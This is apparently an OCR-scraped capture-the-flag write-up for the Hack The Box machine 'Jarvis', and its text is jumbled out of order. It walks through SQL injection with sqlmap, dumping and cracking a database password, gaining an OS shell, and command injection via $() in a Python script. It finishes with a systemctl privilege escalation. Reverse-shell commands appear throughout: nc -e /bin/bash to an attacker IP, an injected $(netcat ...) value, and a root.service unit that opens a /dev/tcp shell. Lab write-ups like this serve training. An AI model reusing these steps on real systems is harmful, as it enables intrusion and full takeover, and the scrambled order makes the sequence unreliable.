Jarvis 10.10.10.143 Jarvis

💍 Linux

Medium

30

Release: 22 Jun 2019

Difficulty:

Points:

IP: 10.10.10.143 **Nmap** Ran a quick scan but results felt suspicous, so ran a deeper nmap scan. Good thing too as it missed that top port the first time round. nmap -T5 -Pn -p- -A 10.10.10.143 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 22/tcp open ssh Apache httpd 2.4.25 ((Debian)) 80/tcp open http http-cookie-flags: PHPSESSID: httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Apache httpd 2.4.25 ((Debian)) 64999/tcp open http |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html).

both tell my that **/phpmyadmin/** exists, and in its source page we find its version is **4.8.0**. Going to the page didn't tell me much, but did tell me we're running a MySQL system

Language

nikto -h 10.10.10.143

2.3-medium.txt -x php,txt

Website Port 80

Seems there will be two websites, let's go to the port 80 one first:

Whilst we go around the box, let's run some enumeration in the background via:

gobuster dir -u 10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-

phpMyAdmin

Welcome to phpMyAdmin

English (United Kingdom) Log in @ Username: Password: Go First thing I see that looks suspicous is this at the top of the page. Let's add **supersecurehotel.htb** to our /etc/hosts and see if anything changes.....nothing changed

supersecurehotel.htb

STARK

Cannot log in to the MySQL server

HOTEL Rooms ① 10.10.10.143/room.php?cod=1

otel.htb

9 Upgrade-Insecure-Requests: 1 10 11 It is vulnerable, so we can use sqlmap

GET /room.php?cod=1 HTTP/1.1

Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate

Host: 10.10.10.143

Connection: close

limkali:~/Downloads/jarvis\$ cat burped.txt

Cookie: PHPSESSID=jmcpg4tdh122ponp5lon8bjgm4

Upgrade-Insecure-Requests: 1 Now we can request that the tool search through and find usernames and passwords, and even crack these for us if we supply it with a wordlist: sqlmap -r burped.txt --passwords --users 31/ SHALE/ WOLULISES/ LOCKYOU. LAC [11:40:15] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [11:40:18] [INFO] starting dictionary-based cracking (mysql_passwd) [11:40:18] [INFO] starting 2 processes [11:40:25] [INFO] cracked password 'imissyou' for user 'DBadmin'

SQL Map Shell

SQLmap

• kali machine: nc -nvlp 4321

www-Data shell

PrivEsc

os-shell> whoami

carry on and select whatever is default.

command standard output: 'www-data'

Let's look a bit further at this /var/www/Admin-Utilities/simpler.py **Pepper Simplier**

python3 /root/sqli_defender.py

\$(netcat -e /bin/bash 10.10.14.34 1234) ******************

pepper@jarvis:/var/www/html\$ whoami

Enter an IP: \$(/bin/bash)

\$(/bin/bash)

PrivEsc II

Doesn't matter, the second attempt worked and it got a Pepper Shell

• Run the programme with the ping command:

When it asks for an IP: \$(/bin/bash)

Pepper Shell This new shell doesn't behave as we expect it to however....let's see if sending over a **netcat** connection improves it somewhat: • pepper shell: nc -e /bin/bash 10.10.14.34 1234 • kali: nc -nvlp 1234

5 [Service] 6 Type=simple

connect to [10.10.14.34] from (UNKNOWN) [10.10.10.143] 35912

bash: cannot set terminal process group (39878): Inappropriate

Then start the systemtcl process: /bin/systemctl enable /home/pepper/root.service /bin/systemctl start root Check your netcat listner, if all has gone well you'll have a root shell kali@kali:~/Downloads/jarvis\$ nc -nvlp 5555

bash: no job control in this shell

root@jarvis:/# cat /root/root.txt

We know the site runs **M**ysql, so perhaps we can exploit this page's url. Let's catch this page in burpsuite, and after **cod**= add a **sleep request** of five seconds to check if the page is vulnerable: /room.php?cod=1%20or%20sleep(5) Request Headers Raw Params: Hex 1 GET /room.php?cod=1%20or%20sleep(5) HTTP/1.1 2 Host: 10.10.10.143 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept - Language: en - US, en; q=0.5 6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Cookie: PHPSESSID=jmcpg4tdh122ponp5lon8bjgm4

Catch a burp request from room, don't include any sql injections, and save it to a text file.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

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database management system users password hashes: [*] DBadmin [1]: password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 clear-text password: imissyou So username; password is DBadmin; imissyou ... romantic, I guess?

sqlmap -r burped.txt --passwords --users --os-shell . It may come with some errors, but just

[12:06:12] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

do you want to retrieve the command standard output? [Y/n/a] y

Once you get a shell upgrade it via: python -c 'import pty; pty.spawn("/bin/bash")'

User www-data may run the following commands on jarvis:

use strings /var/www/Admin-Utilities/simpler.py to work out what the programme is doing.

input('Enter an

We should therefore be able to run our own commands if we use \$. Let's try

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

The section about forbidden catches my eye. It's trying to stop an attacker spill out of the commands'

I originally tried to get the tool to connect back to my netcat, however it caught the special characters.

09:32

0:00 php-fpm: master process (/etc/php/7.0/fp

ASSMD: /var/www/Admin-Utilities/simpler.py

Go to tmp, upload your enumeration script, and let's get to work on the priv esc.

Append --os-shell as part of your sql request, and get a shell:

It behaves strangely, so let's use netcat to get a better shell:

• victim machine: nc -e /bin/bash 10.10.14.34 4321

0.9 1.6 61916 16716 ? 1:35 python3 /root/sqli_defender.py 09:32 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf)

parameter but exlcuding these special characters....but it forgot \$\$\$

Interesting tesults from the linpeas enumeraton tool:

0.0 2.6 229376 26744 ?

***************** Enter an IP: \$(netcat -e /bin/bash 10.10.14.34 1234) www-data@jarvis:/var/www/html\$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p <o -u pepper /var/ww/Admin-Utilities/simpler.pv -p

/bin/systemcl runs as root. Googling around for an exploit, we find this blog which guides us: https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctlpermissions-bc62b0b28d49 **Systemcl Exploit** Make a file in kali called root.service, and then transfer it over to **pepper's directory**. Then set up a netcat listner

Go and get your user flag and then come back for the priv esc II electric boogaloo

[+] Readable files belonging to root and readable by me but not world readable

upload and re-run an eumeration script, and then take a look at this:

7 User=root 8 ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/5555 0>&1' 9 [Install] 10 WantedBy=multi-user.target

root.service contents:

4 Description=get root privilege

listening on [any] 5555

root@jarvis:/# whoami

cat /root/root.txt

whoami

root

3 [Unit]